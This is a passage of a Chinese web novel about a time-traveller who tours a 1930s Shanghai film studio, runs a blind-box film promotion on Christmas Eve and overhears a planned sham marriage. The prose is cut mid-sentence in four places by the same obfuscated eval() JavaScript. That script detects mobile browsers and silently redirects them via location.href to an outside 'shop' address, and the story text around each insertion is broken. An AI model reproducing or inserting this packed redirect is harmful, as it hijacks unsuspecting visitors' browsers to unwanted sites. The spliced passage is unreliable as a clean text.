推开门,只见七八张写字台拼成一片,每张桌上都堆着尺高的稿纸。有人咬着钢笔杆苦思,有人正用打字机噼啪敲着剧本,空气里浮着墨水与烟丝的气味。墙上贴着分场表,红蓝铅笔勾得密密麻麻。 “这里养着六个编剧,三个是从小报挖来的写手,两个是洋文书局译员,还有一个……”陆世铮压低声音,“是前清举人,专写才子佳人。” 两人在门外静静站了片刻,没有进去打扰那些伏案疾书的身影,只转身往走廊另一头走去。 美术处又是另一番光景。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040183|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>满墙挂着炭笔素描的场景构图,窗边立着几个石膏人体模型,两个年轻人正裁剪硬纸板做布景。角落的颜料架上,油漆桶按色系排列,有数十种深浅不同的绿。 “眼下做的正是苏州园林的花窗模型。” 陆世铮指了指墙上一幅草图,“周小姐已是自己人,我也不瞒你,在美术道具这一块,我们与专攻内景的众一这类老牌公司相比,确实尚有不及。他们多年积累,库藏丰厚,我们数量上暂且追赶不上,但求精求准却从未松懈。像这样一个主景,从考据到落成,通常要历经三百余张草图。” 说话间已走到一扇厚重的柏木门前。陆世铮推开门,侧身让周弥先进。 眼前赫然是两排顶天立地的衣架,密密麻麻挂满戏服:帝王将相的蟒袍、闺阁千金的洋装、进步青年的学生装、码头苦力的粗布短打……空气里浮着淡淡的樟脑味。一位老师傅正躬身在熨衣案前,小心翼翼地熨烫一件绣金箭衣,蒸气氤氲漫开,将他花白的鬓角染得微湿。 靠墙的玻璃柜中,怀表、玳瑁眼镜、象牙柄手枪等小道具静静陈列,每件下方都贴着工整的编号标签。 “眼下各式服装约有两百余件,都是按年份分门别类的,”陆世铮拉开一个桐木抽屉,里头整齐叠着绢帕、折扇、假发辫,他微微一笑,“至于这些零碎小物,便真是不胜枚举了。” 穿过天井,最后到了技术中心。 这里比外头片场安静许多,长条桌上摊着拆卸开的摄影机零件,大大小小的齿轮与镜片在日光灯下泛着冷光。 墙上的黑板上写满德文公式与演算数字,粉笔灰簌簌落在窗台边,几个穿着工装的技术员正围着一台半人高的机器讨论着什么。 “这是从法国拆运回来的二手洗印机,”陆世铮轻拍那机器厚重的外壳,“光是让它转起来,他们就折腾了整整三个月。” 周弥知道洗印机是电影胶片时代的核心设备,主要功能是将拍摄后的胶片进行化学冲洗、印制拷贝,让影像从不可见的潜影变成可放映的画面。 在这个时代,洗印能力几乎等于制片自主权,不必依赖外部作坊,保密性与效率更高。 如果一个公司没有自己的洗印机,那就必须要送去外面处理,万一遭人动手脚,比如调包、盗印、乃至故意洗毁,那真是叫天天不应了。 周弥走近细看机器运转,随口问:“这机器一日能洗多少胶片?” 陆世铮答:“如果全力开动,日处理两千米。但难不在量,在稳,药温差半度、传送快一秒,整卷片子便作废了。”他指向黑板上的公式:“他们在算显影液的新配方,想让人物的夜戏肤色也能透出柔光。” 周弥想到教科书上讲过,洗印机的机器性能决定影片拷贝速度与发行规模,洗印时的药水配方、温度控制、机械精度直接影响呈现效果,看来果然如此,又感慨华光的人才储备果然不错,技术员不仅能改造洋机器,还有本土化研发能力。 她冲陆世铮笑道:"研发这块儿,是你们的强项。不过我倒是有些别的技术想学习,你能找个人教我么?" 22. 偷偷创业(五) 陆世铮笑着摇头:“这话说的,哪有不能的?只是我实在想不出,还有什么能教周小姐的。” 周弥转身走向隔壁,手指在门牌上轻轻一叩,笑道:“那就在这里头挑位好先生,成不成?” 陆世铮上前推开门:“这有什么不成。我带你进去瞧瞧,看哪位师傅和气,我让他教你。” 她扣的那门牌上写着“剪辑室”三个字,门是虚掩着的,有泡胶片的醋酸味儿从门缝里隐隐飘出来。 周弥在现代学习剪辑时,用的是Premiere这类软件,即使非专业人士,如今也多习惯用各类剪辑APP。 它们的界面总是一条长长的虚拟素材轨道,配一把小小的虚拟剪刀,一切操作都在屏幕里完成。 这个年代的剪辑却是实实在在的“手艺”:胶卷是有重量、会卷曲的实体,剪刀是能听见“咔嚓”一声的金属利器。 所谓剪辑那可真称得上真枪实弹了:把需要调整顺序的内容用剪刀剪下来,再用胶水将它粘到它应该呆的位置。如果确定这段内容不能用了,那就剪下来投入垃圾袋,集中销毁处理。 当然,这些内容,也不过是周弥从教科书上学到的,具体如何操作,正是她准备学习的。 因为胶卷感光的原因,房间里很幽暗,只有工作台上方悬着盏绿罩灯,陆世铮做了个手势,提醒周弥注意脚下,两人安静地进了门。 几个年轻人正俯身专心忙手里的活计: 一个将胶片悬在光箱前,用放大镜一寸寸检视划痕;另一个手握胶水刷,极轻地将两段胶片刮毛、涂胶、再精准贴合;最里头那位正摇着剪接器的铜把手,胶片“咔嗒、咔嗒”地滑过导轮。 周弥的目光落在最里头那人手上。 只见他左手缓缓转动摇柄,胶片便从供片盘匀速送出;右手食指虚按在一格画面边缘,待胶片行至某处时,拇指与中指迅速一捏,另一手已提起剪刀,伴随着“喀”的一声轻响,胶片应声而断。 他拎起断口对着灯看了一眼,又拈起另一端,两截断头在光里微微一碰,确认位置无误,这才搁下剪刀,拿起胶水和刷子。 他做得极专注,一直没抬头,直到这段剪完,才直起腰活动了下脖颈,这一抬眼,猛地看见桌前正站着一位身着白色外衣的女士,女士身后还立着个人影,两人在昏暗中正直勾勾冲他望过来,不由惊得“哎哟”一声。 剪辑室里原本极静,他这一声,倒把周弥也唬了一跳,脚下往后一退,正踩在陆世铮的皮鞋上,身子一晃,陆世铮已伸手扶住她胳膊。 两人对视一眼,都忍不住笑了。 这时大家都被惊动,有人挑灯凑过来一照,见是陆世铮,马上喊了声老板。 一听陆世铮来"监工",其他人都放下手里的活计围拢过来问好,目光却悄悄往周弥身上飘,一时不知该如何称呼。 陆世铮一手插在西裤口袋,一手轻轻一抬:“这是周弥周小姐,即将加入华光,过些日子开大会,再正式向大家介绍。” 说着又伸出手指,朝方才那年轻人方向虚虚一点,眼里带着调侃的笑意:“小张,看你平时五大三粗的,没想到胆子倒这般小。” 陆世铮绝不是高高在上目中无人的那种领导,但平日在工作场合,却常常是一丝不苟地严肃面孔。 大家还从未见过他说什么俏皮话,一时都有些无所适从,各自微笑挠头。 在剪辑室中详细参观了一圈出来,两人站在走廊里。陆世铮问道:“怎么样,有看中的老师么?” 周弥道:“我对他们哪有你了解呢,你给我推荐一个吧。” 陆世铮左手托住右手的肘,右手又托住自己的下巴,佯装深思了一会儿后,问:“那你看我怎么样呢? 周弥笑道:“怎么,你也会剪片子么?” 陆世铮哈哈一笑,道:”怎么小瞧我呢?以为我只会开公司,不懂具体业务么?我既然要做这行,就肯定要方方面面都有去学习的。” 周弥拍了拍掌,笑道:“不过,你不是说要介绍我一个和气的老师么?” 陆世铮奇道:“难道我还不够和气么?” 周弥笑道:“你对我一向是蛮和气的,不过,我看你的员工在你面前都是有些拘谨的,所以……” 她顿了顿,故意逗他,“谁知道你是本人和气,还是表演出来的和气呢?” 陆世铮看她的神态,很是俏皮,也跟着笑起来:“这话倒真有些意思,不过我得为自己辩白几句。所谓‘近则不逊,远则怨’,和气与和气之间,自然也有分别。我对他们的和气,是建立在分寸之上的;而我对周小姐……” 说到这儿,忽觉这话似乎太过直露,难道他对她就没有分寸么?自然不是这个意思,却不知她会如何想,于是一下子顿住了,只轻轻咳了一声。 那点未说尽的意思悬在半空,倒让他自己先有些恍惚起来,晕晕乎乎地又接了一句不经思索的话: “你觉得如何呢?” 这话一出口,与前半句连起来一品,教人耳热的程度远胜方才,简直非大咳特咳一番不能缓解。 陆世铮忙将话头扳正:“做你的老师,你觉得如何呢?” 周弥望着他,噗嗤一声笑出来:“既然陆老板毛遂自荐,那我就拜你为师。你可要好好教我。” 见她仍是那副俏皮神色,并未觉得他轻浮,陆世铮心头一松,笑意便深了几分: “周小姐对电影的见识,在我看来比整个上海影坛都要通透。才智如此,即便未亲手碰过这些机括,想来也是一点就通。说我是老师,倒怕……反倒要从你那儿偷师些新眼界了。” “那可不敢当。” 二人说着,已从另一侧门走了出去。窗外正值黄昏,夕照斜斜投进来,将空气中浮动的微尘染成金粉。 伴随着远处片场传来导演喊“开麦拉”的声音,陆世铮转头看向周弥:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045327|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后天晚上,周小姐可有安排?不知能否赏光共进晚餐?” 周弥爽快应道:“可以呀。” 陆世铮眼底刚漾开笑意,却听她接着问:“林教授夫妇那天有时间么?” 他一怔,心想她这是什么意思,怎么偏要在后天晚上见他们?是觉得与我单独吃饭不妥么?面上温声道:“林教授是基督徒,那晚对他们意义不同,往常都有一些特殊活动,怕是不便与我们同席。” 周弥“哦”了一声,爽快道:“那就下次再同他们一起吃,定好时间你早些告诉我。这次就我们两人吧。” 陆世铮心头一松,笑道:“那么,我们去红房子西餐厅如何?那儿平安夜有特别菜单,还有唱诗班表演,只在那一晚才有。” 周弥“哎呀”一声,这才恍然——原来后天竟是平安夜!怪不得陆世铮特意提及林教授是基督徒,自己方才竟全未意识到这一层。 她知道平安夜在如今的上海滩,早已是时髦的西洋节庆。 那夜外滩霓虹如昼,戏院商场人潮似海,正是新片造势、抢占先机的绝佳窗口。时间不等人,这风口必须抓住。 “实在抱歉,”她语速快了起来,目光已投向门外,“那晚我已有要紧事,恐怕不能赴约了。我们改日再聚,今日还有些急务,先走一步!” 话音未落,人已快步往外去了。 陆世铮站在原地,看着她匆匆离去的背影,方才心头那点温热的期待,骤然凉了下来。 原来她答应得那般爽快,不过是因为不知那日特殊。一听是平安夜,便立刻推说有要事。 他不便追问,只低低叹了口气。 回到片场时,导演刚刚喊“卡”,凑上来向他汇报今天的工作。 他耳朵听着,眼睛却不听使唤地望到窗外去了。 窗外原本看得见半截外滩,点着千万片金鳞的江水,泛着红色光芒的海关钟楼尖顶,自由自在的欧鸟…然而他的眼光却一样也不曾看到,只看得到一个穿着白色大衣的女孩,雪白的脸,盈盈的眼睛,对着他有说有笑。 他不是没有分寸,却是失了分寸罢。 … 周弥的急务倒也是真的很急。 她一出光华公司,就打了辆人力车去百货公司,先挑了顶宽檐洋帽,又配了副茶色墨镜。坐进人力车时,帽檐已压到眉际,墨镜遮去了大半张脸。 挑选这些,并不是急的时候还不忘打扮的缘故,而是邵同知道她之前已经用真名和陆世铮来往,再大摇大摆地顶着真名在众一活动就不太妥当,约定化名“黛西秦”,反正也就这一次需要她现场指导,不如就索性做个神秘人物。 于是众一上下都唤她“密斯脱秦”,只知是位寡言归侨,面目总隐在帽影与镜片之后。 在众一公司后门停下。她快步走进发行部,秃顶的刘部长早已候着,堆着笑伸出手来和她握了握:"密斯脱秦你好,看看吧,按你说的,都做好了。" 23. 重大突破(一) 推开厚重的木门,一股樟木与油漆混合的气味扑面而来。库房深处并排停着三辆黑漆马车,车辕已重新打磨过,在昏黄的灯光下泛着润泽的光。 每辆车厢两侧,都已裱上整幅的沈青眉剧照。银甲披身的将军执剑而立,眉眼在绢布印刷下依然凛冽逼真。车檐插着一排彩绸小旗,红底金边,在穿堂风里猎猎作响。 周弥伸手轻抚过车厢,绢布裱得平整紧实,接缝处几乎看不出来。“留声机试过了么?” 刘部长朝车夫座旁一指。那儿固定着改良过的箱式留声机,铜喇叭口微微上扬。 “试了,用的是百代那张《将军令》唱片,音量够响,转一圈能放足三分钟。” 她绕着马车细细看了一圈:“上午城隍庙的摊子备好了?” 刘部长点点头,引她到隔壁小间。长条桌上堆着两样东西:一是用细竹篾扎的将军形灯笼,不过巴掌大小,里头能插小蜡烛;二是裁成巴掌大的剧照贴纸,用的是廉价的再生纸,但沈青眉那身银甲印得清晰夺目。 “灯笼两百只,贴纸五百张。按您说的,灯笼卖两角,贴纸一角两张。” 刘部长又掀开角落的麻布,露出几十个糊成宝塔形的纸盒,介绍道:“下午南京路用的‘纸偶盲盒’在这儿。” 每个盒面都印着不同的兵器图案,按她说的,里头随机放着穿不同戏服的楚月将军纸偶,拆开才能知道是哪款,旁边还有一摞服装纸样,是依戏服简化而来的剪纸版,领口袖缘描着金线。 周弥估摸着,城隍庙赚孩童的零花钱,南京路抓时髦客的猎奇心,工人新村走薄利多销,三路齐发,覆盖面够了。 当然,托儿也不能少。 “找的人呢?” “都雇好了。”刘部长递过名单,“城隍庙是吆喝利落的妇人,南京路用会说洋泾浜英语的学生,工人新村派嗓门洪亮的汉子。马车夫也挑了机灵的,会看眼色配合放唱片。” 周弥点点头:“后天上午就让马车在城里绕三圈,先把声势造出去。晚上是平安夜,正式开卖。” 正要转身离开,周弥忽然想起一事,又顿住脚步:“刘部长,我还需要借一部相机。” 民国时期的相机堪称奢侈,一台普通型号的价格,抵得上工人一两年的总收入,或是中产专业人士数月的薪水。不过在众一这样的电影公司,相机自是必备的器物,演员的定妆照、宣传照、片场花絮,样样离不开它。 刘部长为人非常圆滑,又向来崇洋,对她就更多一层殷勤。闻言立刻堆起笑:“Miss秦要用相机?那自然有,自然有!”说着便推开里间一扇橡木门,“这边请——” 引周弥进去的这间是器材保管室。靠墙的玻璃柜里,整整齐齐陈列着十余台相机。 它们体型非常可观:木制机身的座机、蒙着黑布的大型新闻镜箱、带着三角支架的户外相机,一台台沉默地蹲踞在绒布衬底上。 周弥左右看了看,问道:“有没有更便携的?比如35毫米旁轴相机,德国的徕卡或者康泰时都可以。我要带到外面随拍。” 刘部长赶忙应声:“有,有!” 说着从抽屉深处取出一台徕卡ⅢA,连同一盒胶卷双手递上,“这是上个月刚从德国新到的,镜头是最新的Summar50mmf/2,拍人像顶好。” 周弥接过相机,笑道:“不错。平安夜那天的宣传活动,我亲自去拍些照片,后续发到报馆去。” 刘部长心里打了个转,届时自有宣传部门的人跟拍,报馆记者也会到场,何须她这“Miss秦”亲自掌镜?这人未免太过尽心了些。 在众一做事,多干少干薪水都是一样,她这般空降的要职,又捂得神神秘秘的,若不是和东家有说不清的关系,便是和少东家有说不清的关系。 人的念头往往是内心的倒影。刘部长自己就有一个外室,平日里也喜欢钻营男女关系,一遇到事便自然而然往男女私情上想去。 这么一想,脸上的笑容更殷勤了三分,索性从腰间解下一串钥匙: “Miss秦这般用心,真是公司的福气。这钥匙您收着,往后需要什么器材,随时来取就是,省得次次要找人开门。” 他心里这般想着,面上却堆起十二分的殷勤,索性从腰间解下一串钥匙:“密斯脱秦这般费心,真是公司的福气。这钥匙您收着,往后需要用什么,随时来取就是,省得每次还要找人开门。” 周弥接过钥匙串,见上头挂着两把铜钥:一把刻着“器材室”,另一把刻的却是“道具库”。 她内心狂喜,但语气尽力装作平常:“道具库的也给我了?” “是,是,”刘部长笑容不改,“想着您或许也需要用些道具,便一并给您备着了。” 虽然开放资源这件事邵同早就说过,刘部长此举不过是顺水人情,但这样直接把备用钥匙递交了,那就是他个人的孝敬了。 —— 平安夜,黄昏。 周弥换了件黑色羊绒大衣,领子竖起来,半张脸埋在阴影里。 她拎着那台徕卡相机,像寻常过路人般混入人潮。 沪上几处热闹地界,早已按她布置的那样摆开了阵仗。 城隍庙九曲桥畔,三辆扎满彩旗的马车已稳稳停住,车身两侧沈青眉银甲剧照在晨光里灼灼逼人,留声机一转,《将军令》的铿锵乐声便淌了出来。 妇人支起摊子,竹竿上挂满巴掌大的将军小灯笼,案头堆着成摞的剧照贴纸。 “两文钱一个灯笼,一文钱两张贴纸——小把戏,讨个吉利!” 南京路百货公司转角,学生模样的少年已摆开阵势。摊前最显眼处摆着几排宝塔形牛皮纸盒,盒面只印着一个徽记:长剑贯月,正是《楚月关山》的标示。 少年拿起一个摇了摇,对驻足观望的西装客笑道:“两角钱抽一个楚月将军纸偶,共有八款常规扮相,还藏着一款沈小姐亲笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049779|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签名的隐藏版,先生要不要试试手气?” 旁边另设一摊,铺着锦绣阁的缎料样本,上头压着几张服装纸样,短衫、马褂、窄袖袄,版型皆取自戏服,只去了铠甲纹饰,改成日常可穿的式样。 “楚月将军同款剪裁,沪上独一份!做件短褂,走路都生风。”时髦小姐们捏着纸样对着阳光比划,已有性子急的转身往锦绣阁方向去了。 霞飞路咖啡馆外,摊子布置得格外雅致。黑丝绒衬底上摆着几套完整的纸偶,旁边立着说明牌:“集齐八款常规纸偶,可兑换特制收藏卡册。” 而所有这些摊位旁,都立着一块相同的告示牌,墨迹未干:“《楚月关山》影迷会入会处” 周弥站在南京路的骑楼阴影里,望着不远处攒动的人潮,心里那点隐约的不安终于落定。 在此之前,她不是没有过疑虑。 那些灯笼、贴纸、服装纸样,说到底都是旧把戏换了新皮,这年代的上海人也不是没有见过类似的。 可“盲盒”不同。 这是彻头彻尾的新鲜玩法,赌的是运气,卖的是期待。 她虽相信人性中那份对未知的好奇与收集的渴望是相通的,但一百年前的购买习惯、经济观念乃至娱乐方式,终究与她熟悉的时代隔着天堑。 直到此刻,亲眼看见那摊位前排起的长龙蜿蜒折了三道弯,她忍不住连续按下快门,捕捉那些仰起的脸、伸出的手、还有拆开纸盒瞬间或惊喜或懊恼的神情。 不过,这样只能拍的出人们的热情,却拍不出许多人都这么热情。 而这个"都"字非常重要。 必须要把整个队伍拍下来才行!她这么想着,走向骑楼二楼。 这种南洋传来的建筑,底下是店铺,楼上住人,临街的走廊连成一片,雨天不湿鞋、烈日不晒头。 站在一楼和二楼之间的楼梯中间往下拍,这个视角既可以创造高度差,拍下蜿蜒数折的队伍,又不影响楼上的住户。 咔嚓,咔嚓… 自己第一次操持这么大的商业案例,必须要好好留念。正要放下相机时,取景框边缘忽然掠过一个熟悉的身影。 邵文谦。 他穿着一件驼色呢大衣,没往人群里挤,只站在街灯下静静看着。而他身旁有个穿藏青西装的男人,正微微侧身,借着替邵文谦拂去肩头落叶的动作,指尖极轻地在他后颈碰了一下。 紧接着,男人从大衣口袋掏出烟盒,自己叼一支,又自然地递一支给邵文谦。两人凑近借火时,额头几乎相触,火柴光映亮两张年轻的脸——一个垂着眼睫,一个嘴角噙着极淡的笑。 周弥心中警铃大作。 她并非腐女,但作为一个见多识广的21世纪青年女性,一眼看出邵文谦与那男子之间流动的,绝非普通朋友的情谊。 邵同那样掌控欲极强的人,对独子的事怎么可能一无所知? 这老东西,竟然想诓她当同妻! 24. 重大突破(二) 周弥正暗生怒意,却见那两人一前一后,往她所在的骑楼这边走来。 鞋跟轻巧地退了两步,整个人便隐进立柱投下的浓重阴影里,背脊贴上冰凉的砖墙。她放轻呼吸,听到那两人的皮鞋声已踏上了骑楼下的青石板。 他们并肩站在廊下,站定谈话。 藏青西装男的声音随风飘上来:“结婚这种事,无非也就是家里添个人,具体如何过日子,还不是你说的算。你要是能找个女子成家,我没什么不理解的,反倒为你高兴。” 邵文谦沉默许久,才冷笑一声:“我知道你为何说这话,看来你是这么打算的了。” 藏青西装男语气很平和:“我只是觉得,何必与世道硬碰?女子依附男子而生,吃穿用度皆仰仗夫家,在生存上已占了便宜。既是依附的寄生虫,便谈不上独立人格。你在物质上已经是她的恩人,心理上自然不必有什么负担。至于家族……” 他顿了顿,语气里有些自嘲的意思:“说起来,我们又是依附家族的寄生虫,因此在家族面前,我们也谈不上独立人格。家族在物质上是我们的恩人,要我们做不喜欢的事,自然也是理所当然。" 他手指掸了一下烟灰,继续道:"为了家族兴旺,繁衍子嗣是责任。这事男子出力,却终需女子怀胎……” 话到此便止住,末了只补一句:“我总归是为你考虑。” 邵文谦沉默片刻:“你这话面面俱到,我没什么可讲。我只问一句——你是不是打算结婚了?” 藏青西装男不否认,也不承认,只是笑了一笑,道:“男子置外室本是寻常。我们互相做彼此的外室,谁也不辱没谁。” 这俏皮话说完,邵文谦也跟着笑起来。 周弥拳头都硬了,置外室寻常这句话值得一拳,骗婚又值得一拳。 正在她脑中一记左勾拳又一记右勾拳演练的热闹时,邵文谦开口道: “罢了,我明白你的意思。结婚也不是不行……只是那位周小姐…” 听到自己名字,周弥立刻竖起耳朵… "我是不愿意的。" 周弥虽然本来对邵文谦并无任何幻想,但心里依然大怒,心想:你这废物点心还挑拣上老子了,老子难道看的上你不成? 听到邵文谦这话,藏青西装男用牙齿将含在嘴中的烟卷一咬,嘴角一咧,发出哼哼地笑声:"你这样抗拒,那人一定长得很丑。” 周弥:“……” 邵文谦道:“那倒没有。只是她是我父亲安排的人,且有把柄在他手里,可说是受制于他。若与她结婚,岂不相当于与我父亲结了婚?” “你是说她听命于你父亲?”藏青西装男沉吟,“那倒确实有些麻烦。” 邵文谦道:“而且她那人,很有些本事,同时又极精明。” 周弥心下冷笑,说白了就是我不好骗呗。真是谢谢你的夸赞。 她原本还觉得邵文谦那日主动编出个“英伦未婚妻”与她拉开距离,良心比这藏青西装男还是好上不少,现在听邵文谦这意思,原来不过是怕被她拿捏,未来还是要去找别的女子行骗。 果然,邵文谦接着道:“我如今经济独立,倒想寻个传统些的旧式女子,最好还是没有念过书的,虽然思想上是无法沟通,但旧式女子向来是‘以夫为纲’的,想必会以我的主意为第一位。” 藏青西装男点头:“你说的有理,我也是这般想,女子新也好,旧也好,终归是女子,都是拖累。但作为妻子,旧式女子一定更好一些。只是你我父亲皆是生意人,最重实利,恐怕不会允我们娶个对家族毫无助益的女子。” 邵文谦轻轻哼了一声道:“现在提倡婚姻自由,总有法子教老一辈人无法反对,但前提是,得先让那女子对我们动了感情,女子们都是心软的,容易动感情,动了感情,对我们就能有利益。” 他说这些话时,语气和神情仍是平日那种淡淡的冷。 周弥在骑楼上简直听得心头火起。 他们两个的情感私事,按理说和她无关,可如果他们真要将算计落到无辜女子头上,她便不能坐视不管。 正犹豫着怎么收拾他们,远处的宣传摊位陡然炸开一阵喧嚷——"别打呀!别打!" 藏青西装男皱眉道:“那不是你家电影公司的宣传摊子么,好像闹起来了。” 邵文谦面色微沉。 他本就对周弥这“盲盒”的新鲜主意心存疑虑,今夜特意过来,多少带着几分监督的意味,没承想真出了乱子,当即拔腿朝人群聚集处快步走去,藏青西装男也随之跟上。 等他们走远,周弥也转身从楼梯疾步而下,绕了半个街口,从人群外侧悄然靠近摊位。 摊前此刻已乱作一团。 一个穿灰布长衫的中年男人正死死攥着少年的手腕,另一只手高举刚拆出的纸偶,脸涨得通红:“第八个了!又是常款!你这盒子里到底有没有隐藏款?!” 少年挣了挣,强笑道:“先生,这都是随机放的,我哪能知道……” “放屁!”男人声音陡然拔高,扬手就将纸盒摔在地上,“我看你们就是骗钱!什么隐藏款,压根就没放进去!” 人群顿时骚动起来。几个声音从不同角落炸开: “我拆了五个也没中!” “退钱!退钱!” 还有人尖声嚷道:“卖得这么贵,外面包个盒子,就是三倍价格,分明是变着法儿骗钱!” 少年被推搡得踉跄后退,摊位上的商品哗啦散落一地,彩旗已被扯下半幅,在夜风里颓然飘荡。 邵文谦与周弥此时已从不同方向挤到前排。邵文谦见场面眼看要失控,周弥只是冷眼站着,不由眉头紧锁,上前责怪道: “周小姐,你们这摊子是怎么管的?闹成这样!你还不过去处理?” 周弥自从听了他们两个的对话,对他邵文谦的想法已经大为改观。以前,她只觉得他是一个有些懦弱的才子,现在却觉得他实在不仅懦弱,还十分自私缺德,因此只冷笑一声,并不接话。 邵文谦脸色更沉,却也不知如何收拾这乱局,只得与身旁的藏青西装男低声商议。周弥瞥了一眼,轻哼一声,仍不动作。 邵文谦真有点急了。 之前饭局上听周弥侃侃而谈,想她真有些远见卓识,但现在看来,她分明和自己一样束手无策,可见这人是个只会坐而论道的空谈之辈。他本就不怎么看的起女子,此刻关系到自家公司的切身利益,心头着急上火,忍不住讽刺道:“好一个纸上谈兵的女艺术家。” 就在这时,一个约莫十来岁、穿着棉袄的男孩,趁着混乱从掀翻的货摊边钻过去,手脚麻利地从地上捡起一个盲盒,三下五除二便拆开了。 一名围观的妇人笑道:“小子!这得花钱买,不能随便拆——” 话说到一半,戛然而止。她瞪大眼睛盯着男孩手里的纸偶,声音陡然拔高:“这、这不是隐藏款么!” 所有人的目光瞬间聚焦过去。 一尊精致的银甲将军纸偶,在霓虹灯下流转着细腻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056948|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光泽,右下角沈青眉的亲笔签名清晰可辨。 男孩的脸兴奋得通红,高高举起纸偶:“我抽到啦!真的能抽到!” 人群骤然一静,随即爆发出更嘈杂的议论: “真有啊……” “那小孩运气可真好!” 方才嚷着退钱的人,此刻也伸长了脖子张望。 却也有人反应过来,伸手去夺那纸偶:“小子,这可是要花钱买的!”说着便要往男孩手里掏。 男孩一昂头,手一抬一挡:"你怎么知道我没钱呢?”说着,从裤兜里掏出一块银元,往摊位上“当”地一放,纸偶往怀里一揣,转身便兴高采烈地挤出了人群。 邵文谦愣住,看向周弥。 周弥却已转过脸,朝那已跑到街角、正偷偷回头望的男孩极轻地点了点头。 ——那孩子是她早先安排的托儿。 在现代,任何涉及概率营销的活动都可能引发质疑,更何况是在这1930年的上海,因此她早就备好了这手。 她又朝摊位后的少年使了个眼色,少年立刻会意,抬高声音朗声道: “大家都看见了——隐藏款确实有,只是稀少,不然怎么叫‘隐藏款’呢?方才那位先生连抽不中,确是运气还没到。下一个不就来了嘛!” 这话像往油锅里滴了滴水,人群重新沸腾起来。原本要走的又折回身来掏钱,后头排队的人踮脚张望,生怕错过了什么。 周弥感受到藏青西装男在暗处向她投过来的好奇眼神。 邵文谦又恢复了那副冷淡又文质彬彬的样子,"平安夜快乐,周小姐。" 天色将暗未暗,霞飞路两旁的商铺已次第亮起圣诞灯饰。 玻璃橱窗里摆着挂满彩球的西洋杉,缠绕的金银丝在电流里微微发烫;百货公司门楣上悬着巨大的星星灯串,忽明忽暗,有穿红袍的白胡子老人像立在街头派发传单,记者们的镁光灯冲着蜿蜒的队伍,在暮色中“嘭”地炸开一朵朵白花。 空气里有糖炒栗子的焦甜,有烘山芋的暖香,在这种混杂的甜暖气息中,留声机转着《平安夜》的调子,混着人力车的铃铛、小贩的叫卖、还有孩童追逐的笑声。 有穿旗袍的女士挽着男伴走过,大衣下摆扫过地面;一位穿西装的先生站在橱窗前,正想着他的心事。 陆世铮晚上喝了点酒,人很清醒但情绪高亢,拒绝了几个共度平安夜的邀请,漫无目的地在街头乱逛。 他很享受这种漫无目的的放空。 不知怎的,路过这间橱窗,里面陈列的鞋子突然就让他止步了。 那是一双舞鞋。一双价格很可观的手工舞鞋。 象牙白的缎面,鞋头缀着细密的珠片,在灯光下流转着月华似的光泽,鞋跟是极纤巧的弧形,不高,鞋口处镶着浅浅一圈银边。 她穿上一定很漂亮。 他想到那个总是在拒绝他的人,拒绝他的职位,拒绝他的邀舞,拒绝他的送行,拒绝他的平安夜。 她生来就是这样的性格吗?她在和谁共度今夜? 陆世铮走进店里,问店员要下这个舞鞋。 “先生好眼光,”店员殷勤道,“这是巴黎最新的款式,纯手工进口,每个鞋码只有一双,请问小姐穿多大码数?” 他默然。他怎么能知道呢。 于是他对店员道:“所有鞋码,都来一双。” 店员又惊又喜地瞪大了眼睛:“先生,一旦售出,不能退的哦。” “我知道。”他说。 25. 重大突破(三) 陆世铮站在鞋店门口,看着店员将一只只系着缎带的鞋盒搬出来,垒成小山。 店家殷勤地问要不要派伙计送去府上,他摇头拒绝了,或许是有些难为情,他不想再和别人因这件事多有接触。 他亲自将那些鞋盒一一搬进车里,后座很快被塞满,象牙白的盒角从车窗边露出来,在街灯下泛着柔软的光,发动车子,载着一车厢女鞋的林肯汽车缓缓驶入平安夜的流光里。 起初他只是开着,漫无目的。后来方向盘却自己转了向,朝着周弥所在公馆的方向开去。心底有个声音在说:也许路上就能遇见她呢?也许她正从哪个聚会回来,穿着大衣独自走在街道上,看见他的车,会惊讶地停下脚步。 